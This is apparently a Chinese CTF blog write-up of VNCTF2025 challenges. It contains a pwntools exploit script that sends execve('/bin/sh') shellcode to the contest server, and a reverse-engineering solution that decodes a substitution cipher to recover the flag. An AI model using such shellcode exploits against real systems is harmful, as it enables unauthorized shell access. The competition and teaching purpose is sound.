VNCTF2025部分Pwn与Reverse

Pwn

checkin

这题会把rsp置0,也就是说用系统生成的shellcode没用

考虑用ret2syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *

filename='./pwn'
elf = ELF(filename)
#libc = ELF("./libc.so.6")
context(arch = elf.arch,log_level = 'debug',os = 'linux')

debug = 0
if debug:
io = process(filename)
else:
io = remote('node.vnteam.cn',45311)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def debug():
gdb.attach(io)
def b(addr):
#bk="b *$rebase("+str(addr)+")"
bk='b *' + str(addr)
attach(io,bk)
def get_addr():
#return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
return u32(io.recv()[0:4])

shellcode=asm('''
mov al,59
add rdi,8
syscall
''')+b'/bin/sh\x00'
#debug()
s(shellcode)
inter()

Re

hook_fish

加载资源

得到hook_fish.dex

从输入经过encrypt函数,后面调用loadclass方法

encode方法加载hook_fish的encode方法,然后加载hook_fish的check方法比较

check方法里面找到密文,发现hook_fish的encode方法用HashMap在做映射

先根据密文找到映射前的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
class HookFish:
def __init__(self):
self.fish_dcode = {}
self.fish_ecode = {}
self.strr = "jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji"
self.decode_map()

def decode_map(self):
self.fish_dcode = {
"iiijj": 'a', "jjjii": 'b', "jijij": 'c', "jjijj": 'd', "jjjjj": 'e', "ijjjj": 'f',
"jjjji": 'g', "iijii": 'h', "ijiji": 'i', "iiiji": 'j', "jjjij": 'k', "jijji": 'l',
"ijiij": 'm', "iijji": 'n', "ijjij": 'o', "jiiji": 'p', "ijijj": 'q', "jijii": 'r',
"iiiii": 's', "jjiij": 't', "ijjji": 'u', "jiiij": 'v', "iiiij": 'w', "iijij": 'x',
"jjiji": 'y', "jijjj": 'z', "iijjl": '1', "iiilj": '2', "iliii": '3', "jiili": '4',
"jilji": '5', "iliji": '6', "jjjlj": '7', "ijljj": '8', "iljji": '9', "jjjli": '0'
}

def decode(self, str):
result = []
for i in range(0, len(str), 5):
fragment = str[i:i+5]
result.append(self.fish_dcode.get(fragment, '?'))
return ''.join(result)


if __name__ == "__main__":
hook_fish = HookFish()
decoded_str = hook_fish.decode(hook_fish.strr)
print("Decoded string: ", decoded_str)
#0qksrtuw0x74r2n3s2x3ooi4ps54r173k2os12r32pmqnu73r1h432n301twnq43prruo2h5

然后按照encrypt逆向即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
s='0qksrtuw0x74r2n3s2x3ooi4ps54r173k2os12r32pmqnu73r1h432n301twnq43prruo2h5'
s1=''
# for i in range(len(s)):
# for j in range(48,127):
# k=j
# if k>=97 and k<=97+25:
# tmp=k-49+(i%4)
# else:
# tmp=k+ord('7')+(i%10)
# if tmp==ord(s[i]):
# print(chr(j),end="")
# break
#a9297889a8fb9b3a6b9a870b57db3afa2b47bb3ac84739fa3a1bdb3aaa5779ca56570b1c
s2='a9297889a8fb9b3a6b9a870b57db3afa2b47bb3ac84739fa3a1bdb3aaa5779ca56570b1c'
s3=''
# print('\n')
# for i in range(0,len(s2),2):
# s3+=s2[i+1]+s2[i]
# print(s3)

#9a9287988abfb9a3b6a978b075bda3afb274bba38c7493afa3b1bda3aa7597ac6575b0c1
s3='9a9287988abfb9a3b6a978b075bda3afb274bba38c7493afa3b1bda3aa7597ac6575b0c1'
for i in range(0,len(s3),2):
print(chr(int(s3[i]+s3[i+1],16)-68),end="")
#VNCTF{u_re4l1y_kn0w_H0Ok_my_f1Sh!1l}

VNCTF2025部分Pwn与Reverse
https://j1ya-22.github.io/2025/02/09/VNCTF2025部分Pwn与Reverse/
作者
j1ya
发布于
2025年2月9日
许可协议